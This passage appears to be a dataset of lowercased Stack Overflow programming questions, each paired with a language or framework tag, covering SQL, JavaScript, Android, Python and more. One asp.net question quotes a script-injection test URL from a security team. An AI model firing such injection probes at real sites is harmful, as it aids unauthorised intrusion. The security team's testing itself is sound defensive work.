duplicate a row with data changing  i have a mysql table with several columns. on some conditions i run a script that duplicates the row.     this is done via these steps:   <ol> <li>select all columns from the row to be duplicated</li> <li>on the resulting array change two values out of 30 (new info are built on the fly using php scripts and are unique for the row). <strong>these values can be created any time during the update process</strong></li> <li>insert the new row with the usual <code>insert into...</code> that make me list again all the 30 fields and values</li> </ol>   my question is: is there a way to change this script into:   <ol> <li>create the new values</li> <li>run a single query that will duplicate the row and at the same time update the values while duplicating </li> </ol>   so that i don t need to manipulate the array in php and i run just one query instead of two,mysql
"how can i fix my function that is to eliminate from an array a given set of of arguments   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function destroyer(arr) {
   
   for(var i=1;i&lt;=arguments.length;i++){
    
     arguments[0]=arguments[0].filter(function(element){
       return element!==arguments[i];
     });
   }
   return arguments[0];
 }
 
 destroyer([1  2  3  1  2  3]  2  3);</code></pre>
 </div>
 </div>
     i am trying to make a function that is supposed to accept some arguments. the first of these arguments is an array of number /or whatever. then the rest of these arguments are supposed to be the things you want to eliminate in that array.     so for example  destroyer([1 2 3 1 2 3] 2 3) should return [1 1]. the order doesn t change  which is what .filter() function supposed to do.    i read the mdn dev. page on arguments object. but i am not familiar yet with object oriented programming in javascript. but i think for this function  i only need to know how to access the given arguments.     when i did this  my compiler shows two errors messages. 1.bad assignment 2.don t make function within a loop. but i don t know how to interpret these messages. please help me.",javascript
reference angular controller variables in href template  i ve received some non-angular code and am trying to figure out if it is possible to somehow reference tablecontroller scope variables in the table-view.html template in the simplified code snippet below.    <pre><code>&lt;div ng-controller= tablecontroller &gt;     &lt;a href= /assets/table-view.html  class= btn cbp-singlepageinline  rel= nofollow &gt; show table&lt;/a&gt; &lt;/div&gt; </code></pre>,angularjs
c# linq webforms sum/group by issue for dotnet.highcharts  i am struggling with an issue in c# where i want to group by and sum data in a list. below is the code i am working with.    <pre><code>                        var segment = new list&lt;object[]&gt;();                          foreach (var q in quarter)                         {                             var data = db.tbl_complaints_data                                 .where(d =&gt; d.organisation_id == o.organisation_id &amp;&amp; d.service == site &amp;&amp; d.date.month == q &amp;&amp; d.date.year == year &amp;&amp; d.q1 != null)                                 .groupby(d =&gt; d.q1)                                 .select(d =&gt; new { q1 = d.key  total = d.count() });                              foreach (var d in data)                             {                                 string q1string =  unknown ;                                 switch (d.q1)                                 {                                     case 1: q1string =  stuff ; break;                                     case 2: q1string =  stuff 2 ; break;                                     case 3: q1string =  stuff 3 ; break;                                     default: break;                                 }                                  segment.add(new object[] { q1string  d.total });                             }                         }                          render_piechart(segment); </code></pre>   the data being passed in is spread over multiple months so this code executes for each month. is it possible for me to edit segment at the end of the statement  i have tried .groupby() but i can t get it to work.    so lets say we have jan  feb and march. jan will run and data will be added to  segment  like this:   <pre><code>stuff    1 stuff 2  2  stuff 3  3 </code></pre>   then feb will run and we get similar to above  the same will happen for march:   <pre><code>stuff    4 stuff 2  2 stuff 3  15 </code></pre>   i want to then have the list  segment  only contain the totals of the above  so when i render the chart it will only contain:   <pre><code>stuff    5 stuff 2  4 stuff 3  18 </code></pre>   if this doesn t make sense  please let me know and i will try to clarify.,.net
jquery removing comma and incrementing by 1   i have a span element which holds a number such as <code>1 568</code>.    when a button is clicked  i need that number to increment by 1.  so <code>1 568</code> becomes <code>1 569</code>.    if i just get the value and add <code>+ 1</code> to it  the value becomes <code>2</code>:   <pre><code>( #artist-fan-count ).text(parseint($( #artist-fan-count ).text()) + 1); </code></pre>   should i try to remove the comma and then run the code above   if i do the line below  nothing happens -- which leads me to believe i m doing it wrong.  shrug.   <pre><code>$( #artist-fan-count ).text().replace(       ); </code></pre>   any tips,jquery
getting the text value from label to see if it s nil or not   what i m doing is basically on button clicking  i m checking to see if textfield is empty or not.  so  i have three textfield as below and other label named alarmlb which will display message when textfield is empty.   <pre><code>- (ibaction)addbtn:(id)sender { // **checking the textfield** if (self.firstnametxt.text != nil &amp;&amp;    self.lastnametxt.text != nil &amp;&amp;    self.numtxt.text != nil) {      nslog(@ %@ debug   **self.firstnametxt.text**); // just for checking for debugging.  } else {     self.alarmlb.text = @ !fill out all of box! ;  }  [self.view endediting: yes]; } </code></pre>   however  the result i m getting is that even if i leave all empty and press button it goes into if statement and printout only debug without self.firstnametxt.txt displaying..    <strong>question</strong> : even if i left them empty  why it still pass the if condition which i assume it should be nil.. and not displaying <strong>self.fistnametxt.txt</strong> but display debug string.    thank you for your help in advance,objective-c
how to get the hostname of mac os in c  i  m trying to get the hostname of my school mac os. i can t use <code>gethostname()</code> as it s in section 3 of the man pages of my school macs  instead of section 2. is there another way of getting the hostname  without using <code>gethostname()</code>  i m only allowed to use <code>libc</code> functions in  <code>man 2 section</code>.,c
using parenthesis in sql  what s the differences between these sqls:   <pre><code>select * from cours natural join compositioncours natural join parcours;   select * from cours natural join (compositioncours c join parcours p on c.idparcours = p.idparcours) ;  select * from (cours natural join compositioncours c) join parcours p on c.idparcours = p.idparcours ; </code></pre>   they have different results.,sql
sql query to select unique combinations of values  with two columns order being ignored  i am trying to build a sql query where unique rows are selected based on specific criteria  but i am at a loss on how to construct it.    the rows have a <code>varchar</code> conversation id  <code>varchar</code> sender  and <code>varchar</code> recipient.    i need the results to be all distinct combinations of the conversation id and sender and recipient  but repeats of senders in the recipient column or vice versa are treated as treated as being the same.    for example:   <pre><code>id       sender       recip ------------------------- convo1   persona      personb convo1   personb      persona convo1   personc      persona convo1   personc      persona convo1   persona      personc convo1   personc      persona convo2   personb      persond convo2   personb      persona </code></pre>   a query that would return:   <pre><code>convo1  persona  personb convo1  personc  persona convo2  personb  persond convo2  personb  persona </code></pre>,sql
how to declare a variable inside nested structure   let s say i have a nested structure with objects and functions in javascript as shown below:   <pre><code>this.x = {    f1: function() {    }     f2: function() {    }     nested: {       f3: function() {       }        f4: function() {       }    } } </code></pre>   suppose i want to declare a variable that is only known to to functions f3 and f4. where and how would i declare this variable,javascript
how do i make these four boxes to size according to the screen size   <a href= http://digitalsnacks.co.uk  rel= nofollow >website url</a>    i d like those four boxes to fill the right side of the website. can anyone help me a bit      thank you! i really appreciate it.,css
how to stop li tag wrapping  hi i have a problem with li wrapping. my fist <code>&lt;li&gt;</code> is the main headline which is floated left the other <code>&lt;li&gt;</code> should be listed on the right but as you can see its wrapping on the first <code>&lt;li&gt;</code>.    here is the code <a href= http://jsfiddle.net/ninja81/4zg8m/  rel= nofollow >http://jsfiddle.net/ninja81/4zg8m/</a>    thanks,css
how to see the algorithm of mcrypt_encrypt()  i have searched overall how does <code>mcrypt_encrypt()</code> is encrypting or what algorithm is used   i know its php built in function but im just interested on how its algorithm work .     on <a href= http://php.net/manual/en/function.mcrypt-encrypt.php  rel= nofollow >the manual</a> its just show how to apply then   but my question is how to read how it works (or what algorithm of this ).    thanks.    *obs i want study this function not just (not important or something i must not ask),php
angularjs: add indicator to invalid fields using only css  i am trying to do something that in my head is very simple  but all my attempts to make it happen have failed.    using <code>ng-model</code> and <code>$setvalidity()</code>  i can make any field valid or invalid and angular will add the  ng-invalid  class to any invalid fields  which is great.  i m using bootstrap  which has built-in styles for  input:invalid   which adds a red border around all invalid elements when those elements are in focus.    my problem is that i would like to add a <code>***</code> after every input in my form that is invalid so that the user can quickly see which fields need to be fixed.  i thought i could do that using only css by doing the following:   <pre><code>input.ng-invalid{     border: 2px solid red;  } input.ng-invalid:after{     content:  *** ; } </code></pre>   i have an plunker that demonstrates a simple example of this <a href= http://plnkr.co/edit/7qau7s p=preview  rel= nofollow >here</a>.  the example <code>&lt;input&gt;</code> is required  so if you just remove the text from the field  it immediately becomes invalid and gets a big red border.  but it doesn t get the <code>content:  *** ;</code> style.      do i just not understand how the <code>:after</code> selector works in css   or am i doing something else wrong   any pointers would be greatly appreciated.  thanks!,angularjs
cant return derived class (could not convert)  i have the following derived class that is a subclass of <code>eigen::tensor</code>   <pre><code>template&lt;int t&gt; class tensord : public eigen::tensor&lt;float  t&gt;{ private:     int tdim = -1; public:     typedef eigen::tensor&lt;float  t&gt; base;      tensord(){         tdim = t;     }      tensord( const base &amp;d ) : base(d)     {         tdim = t;     }      ~tensord(){      }      tensord&lt;3&gt; dot(const tensord&lt;2&gt;&amp; x){         eigen::tensor&lt;float  3&gt;&amp; a = *this;         const eigen::tensor&lt;float  2&gt;&amp; b = x;          eigen::array&lt;eigen::indexpair&lt;int&gt;  1&gt; product_dims = { eigen::indexpair&lt;int&gt;(2  0) };         return a.contract(b  product_dims);          //return ab;     }  }; </code></pre>   in the <code>dot()</code> method  if i try to <code>return</code> as shown above  i get an error:   <pre><code>error: could not convert ‘((eigen::tensorbase&lt;eigen::tensor&lt;float  3  0  long int&gt;  0&gt;*)(&amp; a))-&gt;eigen::tensorbase&lt;derived  0&gt;::contract&lt;eigen::tensor&lt;float  2&gt;  std::array&lt;eigen::indexpair&lt;int&gt;  1ul&gt; &gt;((* &amp; b)  product_dims)’ from ‘const eigen::tensorcontractionop&lt;const std::array&lt;eigen::indexpair&lt;int&gt;  1ul&gt;  const eigen::tensor&lt;float  3  0  long int&gt;  const eigen::tensor&lt;float  2&gt; &gt;’ to ‘tensord&lt;3&gt;’          return a.contract(b  product_dims); </code></pre>   however  if i do this:   <pre><code>eigen::tensor&lt;float  3&gt; ab = a.contract(b  product_dims);  return ab; </code></pre>   then it compiles.    why is this  how can i avoid the double copy,c++
set a ng-class to true or false  i have a icon element that i want to switch class depending on something else    <pre><code>%i.fa.fa-bell{ ng-class  =&gt;  newactivities } </code></pre>   i have a if/else statement in my controller    <pre><code>var activities = $scope.activities  var init = function(){   var hasvalue = activities.some(function(obj) { return obj.viewed ==  uncheck  });   console.log (hasvalue)    if (hasvalue == true){     checked = true ;     $scope.newactivities =  newactivities ;   } }  $scope.viewactivities = function (){   angular.foreach(activities  function (activitie) {     viewactivities.update({       viewed: `check`        id:      activitie.id     }).then(init);   });   $scope.newactivities =   ; } </code></pre>   what happens now is that when the if value is true  the <code>$scope.newactivities</code> adds the <code>newactities</code> to the ng-class element. but i can t figure out how to remove the class when the statement isn t true.,angularjs
ondialogclosed listener of ondialogclosed  i have <code>dialogpreference</code> dialog instance. how can i register an listener on <code>ondialogclosed</code>. i want when <code>ok</code> button is clicked to execute some code.    is this possible to do with instance of <code>dialogpreference</code>      i know i can do it like   <pre><code>@override protected void ondialogclosed(boolean positiveresult) {     if (positiveresult) {       string text=myedittext.gettext();     }     else {      // cancel hit     } } </code></pre>   but i am not extending <code>dialogpreference</code>. i have just instance of it.,android
how to download file from particular url  <pre><code>nsurl * url = @ http://192.168.100.161/uploadwhiteb/wh.txt ; nsdata * data = [nsdata datawithcontentsofurl:url];  if (data != nil) {   nslog(@ \nis not nil );   nsstring *readdata = [[nsstring alloc] initwithcontentsofurl:(nsdata *)data ]; </code></pre>   i write this code to download a file from given url... but i get an error on line<br> <code>nsdata * data = [nsdata datawithcontentsofurl:url];</code>    uncaught exception...    so please help me out.,objective-c
"empty textfield produces multiple asterisks  i have this code that adds a red asterisk if a text field is left empty. i want it so that the asterisk goes away once the document detects input in said text field. i also want to prevent more asterisks getting added <code>if</code> one is already there and text field is still empty. i have tried running <code>if else</code> statements to make it happen but get errors. thank you for any help.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>const button = document.getelementbyid( button )
 const listdiv = document.queryselector( .listdiv )
 var urlinput = document.getelementbyid( text ).value
 
 button.addeventlistener( click   function() {
   // get url and add it into a link
   let createa = document.createelement( a )
   createa.href = urlinput
   createa.textcontent = urlinput
 
   // get description and add it to the link
   let descrinput = document.getelementbyid( description ).value
   let strong = document.createelement( strong )
   strong.textcontent = descrinput
 
   if (urlinput.trim() !==   ) {
     listdiv.appendchild(strong)
     listdiv.appendchild(createa)
   } else {
     var ast = document.queryselector( .ast )
     var createast = document.createtextnode( * )
     text.style.border =  1px solid #ff0000 
     ast.style.color =  #ff0000 
     ast.appendchild(createast)
   }
 })</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 
 &lt;head&gt;
   &lt;meta charset= utf-8 &gt;
   &lt;meta name= viewport  content= width=device-width  initial-scale=1.0 &gt;
   &lt;link href= style.css  rel= stylesheet  type= text/css &gt;
   &lt;title&gt;meine testseite&lt;/title&gt;
 &lt;/head&gt;
 
 &lt;body&gt;
 
   &lt;div class= formdiv &gt;
     &lt;form&gt;
       &lt;input type= text  name=   placeholder= enter url  id= text  autofocus&gt;
       &lt;div class= ast &gt;&lt;/div&gt;
       &lt;input type= text  name=   placeholder= link description  id= description &gt;
       &lt;input type= button  value= add  class= button  id= button &gt;
     &lt;/form&gt;
   &lt;/div&gt;
 
   &lt;div class= listdiv &gt;
 
   &lt;/div&gt;
 
   &lt;script src= js.js &gt;&lt;/script&gt;
 &lt;/body&gt;
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>",javascript
how to split a long html table into page-columns   how can i split a long html table into as many <strong>page columns</strong> as needed to make <strong>the entire table</strong> fit as maximally as possible on the screen      i m not asking how to split a row  or column  or cell  but the <strong>entire</strong> table:    this code prints a long table that doesn t fit on the screen.   <pre><code>1:   | &lt;table&gt; 2:   | &lt;tr&gt;&lt;td&gt;abcd&lt;/td&gt;&lt;/tr&gt; ---cut----------------------- 200: | &lt;tr&gt;&lt;td&gt;wxyz&lt;/td&gt;&lt;/tr&gt; 201: | &lt;/table&gt; </code></pre>   this is what i am looking for:   <pre><code>+------+------+------+------+ | abcd | ijkl | qrst | yz.. | | efgh | mnop | uvwx | .... | +------+------+------+------+ </code></pre>   i d rather <strong>not</strong> hard-code it into the html code like this:   <pre><code>1:  | &lt;table&gt; 2: | &lt;tr&gt;&lt;td&gt;abcd&lt;/td&gt;&lt;td&gt;ijkl&lt;/td&gt;&lt;td&gt;qrst&lt;/td&gt;&lt;td&gt;yz&lt;/td&gt;&lt;/tr&gt; 3: | &lt;tr&gt;&lt;td&gt;efgh&lt;/td&gt;&lt;td&gt;mnop&lt;/td&gt;&lt;td&gt;uvwx&lt;/td&gt;&lt;/tr&gt; 4: | &lt;/table&gt; </code></pre>,html
deleting checked items gets error  in my app there is a listview and in actionbar there is delete button. listview contains checkbox. when i press delete button it should check all checked items in listview and if there is one it should delete that items. my code is this :   <pre><code>case r.id.discard:              sparsebooleanarray checkeditempositions = getlistview().getcheckeditempositions();             int itemcount = getlistview().getcount();              for(int i=itemcount-1; i &gt;= 0; i--){                 if(checkeditempositions.get(i)){                     adaptercontextmenuinfo info = (adaptercontextmenuinfo) item.getmenuinfo();                     mdbhelper.deletereminder(info.id);                     filldata();                 }             }             checkeditempositions.clear();             mdbhelper.notify();         return super.onmenuitemselected(featureid  item);}         return false; </code></pre>   the problem is that when i press my button in my app the app unfortunately crashes. this is my logcat:   <pre><code>08-22 15:41:59.789: e/androidruntime(704): fatal exception: main 08-22 15:41:59.789: e/androidruntime(704): java.lang.nullpointerexception 08-22 15:41:59.789: e/androidruntime(704):  at com.example.girtsreminder.reminderlistactivity.onmenuitemselected(reminderlistactivity.java:76) 08-22 15:41:59.789: e/androidruntime(704):  at com.actionbarsherlock.actionbarsherlock.callbackoptionsitemselected(actionbarsherlock.java:604) 08-22 15:41:59.789: e/androidruntime(704):  at com.actionbarsherlock.internal.actionbarsherlockcompat.onmenuitemselected(actionbarsherlockcompat.java:516) 08-22 15:41:59.789: e/androidruntime(704):  at com.actionbarsherlock.internal.view.menu.menubuilder.dispatchmenuitemselected(menubuilder.java:744) 08-22 15:41:59.789: e/androidruntime(704):  at com.actionbarsherlock.internal.view.menu.menuitemimpl.invoke(menuitemimpl.java:148) 08-22 15:41:59.789: e/androidruntime(704):  at com.actionbarsherlock.internal.view.menu.menubuilder.performitemaction(menubuilder.java:885) 08-22 15:41:59.789: e/androidruntime(704):  at com.actionbarsherlock.internal.view.menu.actionmenuview.invokeitem(actionmenuview.java:510) 08-22 15:41:59.789: e/androidruntime(704):  at com.actionbarsherlock.internal.view.menu.actionmenuitemview.onclick(actionmenuitemview.java:146) 08-22 15:41:59.789: e/androidruntime(704):  at android.view.view.performclick(view.java:2408) 08-22 15:41:59.789: e/androidruntime(704):  at android.view.view$performclick.run(view.java:8816) 08-22 15:41:59.789: e/androidruntime(704):  at android.os.handler.handlecallback(handler.java:587) 08-22 15:41:59.789: e/androidruntime(704):  at android.os.handler.dispatchmessage(handler.java:92) 08-22 15:41:59.789: e/androidruntime(704):  at android.os.looper.loop(looper.java:123) 08-22 15:41:59.789: e/androidruntime(704):  at android.app.activitythread.main(activitythread.java:4627) 08-22 15:41:59.789: e/androidruntime(704):  at java.lang.reflect.method.invokenative(native method) 08-22 15:41:59.789: e/androidruntime(704):  at java.lang.reflect.method.invoke(method.java:521) 08-22 15:41:59.789: e/androidruntime(704):  at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:868) 08-22 15:41:59.789: e/androidruntime(704):  at com.android.internal.os.zygoteinit.main(zygoteinit.java:626) 08-22 15:41:59.789: e/androidruntime(704):  at dalvik.system.nativestart.main(native method) </code></pre>   can someone help me to solve this problem then i cpuld delete items from listview easier.     <strong>update:</strong>   <pre><code>import com.actionbarsherlock.app.sherlocklistactivity;  import android.app.actionbar; import android.app.listactivity; import android.content.intent; import android.database.cursor; import android.graphics.drawable.drawable; import android.os.bundle; import android.util.sparsebooleanarray; import android.view.contextmenu; import android.view.menu; import android.view.menuinflater; import android.view.menuitem; import android.view.view; import android.view.contextmenu.contextmenuinfo; import android.widget.checkbox; import android.widget.linearlayout; import android.widget.listview; import android.widget.relativelayout; import android.widget.simplecursoradapter; import android.widget.adapterview.adaptercontextmenuinfo;  public class reminderlistactivity extends sherlocklistactivity {     private static final int activity_create=0;     private static final int activity_edit=1;      private remindersdbadapter mdbhelper;         /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.reminder_list);         mdbhelper = new remindersdbadapter(this);         mdbhelper.open();         filldata();         registerforcontextmenu(getlistview());          com.actionbarsherlock.app.actionbar abar = getsupportactionbar();         string datestring = (string) android.text.format.dateformat.format( mmm d  yyyy   new java.util.date());         abar.settitle(datestring);       }      @override     public boolean oncreateoptionsmenu(com.actionbarsherlock.view.menu menu) {         // todo auto-generated method stub          com.actionbarsherlock.view.menuinflater inflater = getsupportmenuinflater();             inflater.inflate(r.menu.menu  (com.actionbarsherlock.view.menu) menu);         return super.oncreateoptionsmenu(menu);     }        @override     public boolean onmenuitemselected(int featureid              com.actionbarsherlock.view.menuitem item) {         // todo auto-generated method stub         switch(item.getitemid()) {         case r.id.add:              createreminder();             return true;          case r.id.discard:              sparsebooleanarray checkeditempositions = getlistview().getcheckeditempositions();             int itemcount = getlistview().getcount();              for(int i=itemcount-1; i &gt;= 0; i--){                 if(checkeditempositions.get(i)){                     adaptercontextmenuinfo info = (adaptercontextmenuinfo) item.getmenuinfo();                     mdbhelper.deletereminder(info.id);                     filldata();                 }             }             checkeditempositions.clear();             mdbhelper.notify();         return super.onmenuitemselected(featureid  item);}         return false;     }        private void filldata() {         cursor reminderscursor = mdbhelper.fetchallreminders();         startmanagingcursor(reminderscursor);          // create an array to specify the fields we want to display in the list (only title)         string[] from = new string[]{remindersdbadapter.key_title};          // and an array of the fields we want to bind those fields to (in this case just text1)         int[] to = new int[]{r.id.text1};          // now create a simple cursor adapter and set it to display         simplecursoradapter reminders =                  new simplecursoradapter(this  r.layout.text  reminderscursor  from  to);         setlistadapter(reminders);        }          @override     public void oncreatecontextmenu(contextmenu menu  view v              contextmenuinfo menuinfo) {         super.oncreatecontextmenu(menu  v  menuinfo);         menuinflater mi = getmenuinflater();          mi.inflate(r.menu.list_menu_item_longpress  menu);      }      @override     public boolean oncontextitemselected(menuitem item) {         switch(item.getitemid()) {         case r.id.menu_delete:             adaptercontextmenuinfo info = (adaptercontextmenuinfo) item.getmenuinfo();             mdbhelper.deletereminder(info.id);             filldata();             return true;         }         return super.oncontextitemselected(item);     }        private void createreminder() {         intent i = new intent(this  remindereditactivity.class);         startactivityforresult(i  activity_create);     }      @override     protected void onlistitemclick(listview l  view v  int position  long id) {         super.onlistitemclick(l  v  position  id);         intent i = new intent(this  remindereditactivity.class);         i.putextra(remindersdbadapter.key_rowid  id);         startactivityforresult(i  activity_edit);      }      @override     protected void onactivityresult(int requestcode  int resultcode  intent intent) {         super.onactivityresult(requestcode  resultcode  intent);         filldata();     }   } </code></pre>,android
can anyone tell me why the result is 7 7 7 but no 7 7 10  <pre><code>#include &lt;iostream&gt; using namespace std; int *wedgic(int foo) {     cout&lt;&lt;foo;     return (&amp;foo); }  int main() {     int fo=7;     int *blah;     blah=wedgic(fo);     (*blah)+=3;     wedgic(fo); } </code></pre>   can anyone tell me why the result is 7 7 7 but no 7 7 10      please help  i guess i dont understand what does blah=wedgic(fo); do...    thanks,c++
python3 reading input from user character by character  i m trying to build a small python program that reads the input from the user  but does not wait for the new line character.   <h3>working with python 3.7</h3>   my requirements are:   <ul> <li> easy to run (no need for sudo) </li> <li> can take every keyboard input (including fn or any available button) </li> <li> can work on osx  windows and linux </li> <li> every keyboard input is received immediately </li> </ul>   i took a look at several options  but every one of them had at least one requirement it did not fulfill:   <ul> <li><a href= https://docs.python.org/3/tutorial/inputoutput.html  rel= nofollow noreferrer >https://docs.python.org/3/tutorial/inputoutput.html</a> - needs line ending.</li> <li><a href= https://pythonhosted.org/pynput/keyboard.html  rel= nofollow noreferrer >https://pythonhosted.org/pynput/keyboard.html</a> - needs sudo.</li> <li><a href= https://stackoverflow.com/questions/12183472/how-to-read-keyboard-input-one-char-at-a-time-with-a-timer-with-python >how to read keyboard input one char at a time with a timer with python</a> - not working  i think it is due to the python version i m using.</li> </ul>   any suggestion would be highly appreciated,python
how to set an instance variable from a class method in objc  i have a singleton initializer which is a class method. i want to set instance variable data from it. how can i do this,objective-c
passing ... parameters in c  i want to create this function  but ... parameter lists can t be passed around this way. what is the proper way to go about this     and yes  i know some compilers provide an  asprintf . my question is not what function i should be using  but rather how to get parameter passing like this to work.   <pre><code>// allocates a formmated string char *msprintf(const char *format  ...) {     int size = snprintf(null  0  format  ...);      char *buf = (char*)malloc(size);     snprintf(buf  size  format  ...);      return buf; } </code></pre>,c
undo image in c# <pre><code>public class imagehandler {     private bitmap _currentbitmap;     private bitmap _bitmapbeforeprocessing;      public bitmap currentbitmap     {         get         {             if (_currentbitmap == null)             {                 _currentbitmap = new bitmap(1  1);             }             return _currentbitmap;         }         set { _currentbitmap = value; }     }      public string currentbitmappath { get; set; }      public void resetbitmap()     {         if (_currentbitmap != null &amp;&amp; _bitmapbeforeprocessing != null)         {              bitmap temp = (bitmap)_currentbitmap.clone();             _currentbitmap = (bitmap)_bitmapbeforeprocessing.clone();             _bitmapbeforeprocessing = (bitmap)temp.clone();         }     }       internal void restoreprevious()     {         _bitmapbeforeprocessing = _currentbitmap;     }   }  public class rotationhandler   {    private imagehandler imagehandler;       public void flip(rotatefliptype rotatefliptype)     {      this.imagehandler.restoreprevious();      bitmap bitmap = (bitmap) this.imagehandler.currentbitmap.clone();      this.imagehandler.currentbitmap.dispose(); // dispose of current bitmap      bitmap.rotateflip(rotatefliptype);      this.imagehandler.currentbitmap = bitmap;    }   } </code></pre>   when resetbitmap() is called after rotation then it shows  parameter is not valid . but if    <strong>this.imagehandler.currentbitmap.dispose();</strong>  is commented then works fine. but if flip() method is called several times then  out of memory  exception is shown.    how can i solve it,c#
query to choose value closest to divisible number  i have a weird query.  i am creating a vehicle maintenance database.  each vehicle has different maintenance cycles at 250  500  1000  and 2000.  so when a user pulls up to a vehicle and enters the mileage it needs to know what is the next maintenance cycle.      here is an example. so the vehicle would have 1150 miles the next cycle would be 1250.  i have a table that says there are 250  500  1000  and 2000 cycles but i don t have anything for the 1250 or 1500 or 1750 because they are the same as 250...      so what would i do to pick the next maintenance cycle  i am thinking do a division of the top number and then the lower numbers and pick the one that is closer to a whole number but i cannot figure it out.,sql
create a temporary compressed file  i need to create a temporary file to send it  i have tried :   <pre><code># create a temporary file --&gt; i think it is ok (file not seen) temporaryfile = namedtemporaryfile(delete=false  dir=compressed_root)  # the path to archive --&gt; it s ok root_dir =  something   # create a compressed file --&gt; it bugs data = open(f.write(make_archive(f.name   zip   root_dir))).read()  # send the file --&gt; its ok response = httpresponse(data  mimetype= application/zip ) response[ content-disposition ] =  attachment; filename= %s   % unicode(downloadedassignment.name +  .zip ) return response </code></pre>   i don t know at all if it is the good approach..,python
how check internet on client pc and give him weather report in asp.net with c#   i have a web site on iis on windows xp. i am showing live weather report on my lan users but some of my lan users don t have access to internet but they can access my website on lan.    how can i check internet not working on client pc and show him message or how i should manage weather report that even lan user can access it,asp.net
python urlparse urljoin with query variable  i want to join the <code>url1</code> and <code>url2</code>:   <pre><code>url1 =  https://www.test.com.tw/search q=aaa  url2 =  &amp;start=10  </code></pre>   to:   <pre><code>combine =   https://www.test.com.tw/search q=aaa&amp;start=10 </code></pre>   so that i can change <code>url2</code> to get start=10 start=20....    it s a function like:    <pre><code>link = https://www.test.com.tw/search q=aaa  start = 10 def combineurl(link num):     url1 = link     url2 =  &amp;start={start} .format(start=num)     global start     start +=10     return url1 + url2 print combineurl(link start) </code></pre>   and next time  i will throw <code>combineurl(link start)</code> to  <code>def combineurl</code>   <pre><code>print combineurl(combineurl(link start) start) </code></pre>   the result will be : <code>https://www.test.com.tw/search q=aaa&amp;start=20&amp;start=30</code><br> but what i need is <code>https://www.test.com.tw/search q=aaa&amp;start=30</code>    how can i get this result i want    thank you,python
argument error in python  so i have the line of code in python that i keep getting an error on. line of code:    <pre><code>input( this is your   movecounter   move  type the number you want to move north ) </code></pre>   line 1 was just <code>import random</code>    error:      <pre><code>file  &lt;stdin&gt;   line 1  in &lt;module&gt;   file  &lt;stdin&gt;   line 12  in berries typeerror: input expected at most 1 arguments  got 3 </code></pre>   how do i fix this  i don t see any args,python
startupdatinglocation +  app registers for location updates  stops working  i ve got an app that requires continuous gps updates even when in the background.  i ve called startupdatinglocation and have  app registers for location updates  set and i get fixes for about 15 minutes and then the application just stops getting updates.      what am i missing here,ios
jquery keeping count of dynamically added/removed elements  i have a bit of jquery that generates a  div  when a button is pressed.  there is a limit of 10  div s per page.  the counter works  but when i delete one  it doesn t quite work the way i want it to. when one is deleted  and i continue adding  it duplicates the last number.    for example if i create 6  div s and delete #4 leaving 5 divs  then i add another div  i will again have 6 divs  but i will have 2  div s labeled 6.    is there a better way to manage counters    <pre><code>$(document).on( ready   function () { $( #objectivesgroup ).sortable(); var counter = 1;  $( #btnaddobjective ).on( click   function () {     if(counter&gt;10){         alert( only 10 learning objectives allowed per page. );         return false;     }         var newtextboxdiv = $(document.createelement( tr )).attr( id    objective  + counter);     newtextboxdiv.after().html(          &lt;div&gt;test&lt;/div&gt;&lt;input type= button  value= delete &gt; );     counter++; });  $( body ).on( click    .removeobjective   function () {     $(this).parent().remove();     counter--; }); }); </code></pre>,jquery
stop verbose error - a potentially dangerous request.path value was detected from the client (<)  i am getting a verbose message  a potentially dangerous request.path value was detected from the client (&lt;)  displayed trying to access this url: <a href= https://my_web_server/%3cscript%3e_q_q=%27%29%28%27%3c/script%3e  rel= nofollow noreferrer >https://my_web_server/%3cscript%3e_q_q=%27%29%28%27%3c/script%3e</a>  which was provided by my security team to test site security.    i know why i m getting an error  but i need to hide the verbose description. i add the entry in the web.config file below and i get a 500 internal server error screen  which is what i want  but the entire site shows that error after adding those lines. i try any other page an it gets the 500 error   <pre><code>    &lt;system.web&gt;         &lt;httpruntime requestpathinvalidcharacters=   requestvalidationmode= 2.0  /&gt;         &lt;pages validaterequest= false  /&gt;     &lt;/system.web&gt; </code></pre>,asp.net
extract characters in double quotes from a string in vb.net  in <code>vb.net</code>  how would i extract the path of the following string  so that i end up with: <code>c:\users\user\appdata\roaming\hdh\hds_remove.vbs</code>   <pre><code>cscript //nologo  c:\users\user\appdata\roaming\hdh\hds_remove.vbs  </code></pre>,.net
binary search tree validation  thank you for reading my topic. i am practising a little bit with c# at <strong>test dome</strong>. the exercise i am currently trying to program is the following: <a href= http://www.testdome.com/questions/csharp/binarysearchtree/484 testid=21&amp;testdifficulty=hard  rel= nofollow >http://www.testdome.com/questions/csharp/binarysearchtree/484 testid=21&amp;testdifficulty=hard</a>    <strong>my current result:</strong>   <ul> <li>example case: correct answer </li> <li>simple cases: correct answer </li> <li>regular cases: wrong answer</li> <li>edge cases: wrong answer </li> <li>performance test: wrong answer</li> </ul>   you can read the code i wrote so far below.   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.text.regularexpressions; using system.threading.tasks;  public class node {     public int value { get; set; }                      // value of {node} == integer (1 2 3 4 5)     public node left { get; set; }                      // reference to left node (n1  n2  n3) == node.     public node right { get; set; }                     // reference to right node (n1  n2  n3) == node.     public node(int value  node left  node right)            {         value = value;                                  // (int)         left = left;                                    // (node)         right = right;                                  // (node)     } }  public class binarysearchtree {     public static bool isvalidbst(node root)     {         if (root.left == null &amp;&amp; root.right == null)             return true;          else if (root.left == null)         {             // checking root.right.value             if (root.value &lt;= root.right.value)                 return true;              else                 return false;         }         else if (root.right == null)         {             // checking root.left.value             if (root.value &gt; root.left.value)                 return true;             else                 return false;          }         else         {             // checking both values             if (root.value &gt; root.left.value &amp;&amp; root.value &lt;= root.right.value)                 return true;             else                 return false;         }     }       public static void main(string[] args)     {         node n1 = new node(1  null  null);         node n3 = new node(3  null  null);         node n2 = new node(2  n1  n3);          // execute function and write it to the console         console.writeline(isvalidbst(n2));         console.readline();     } } </code></pre>   i have no idea what to implement to pass the test. i don t want you to give me 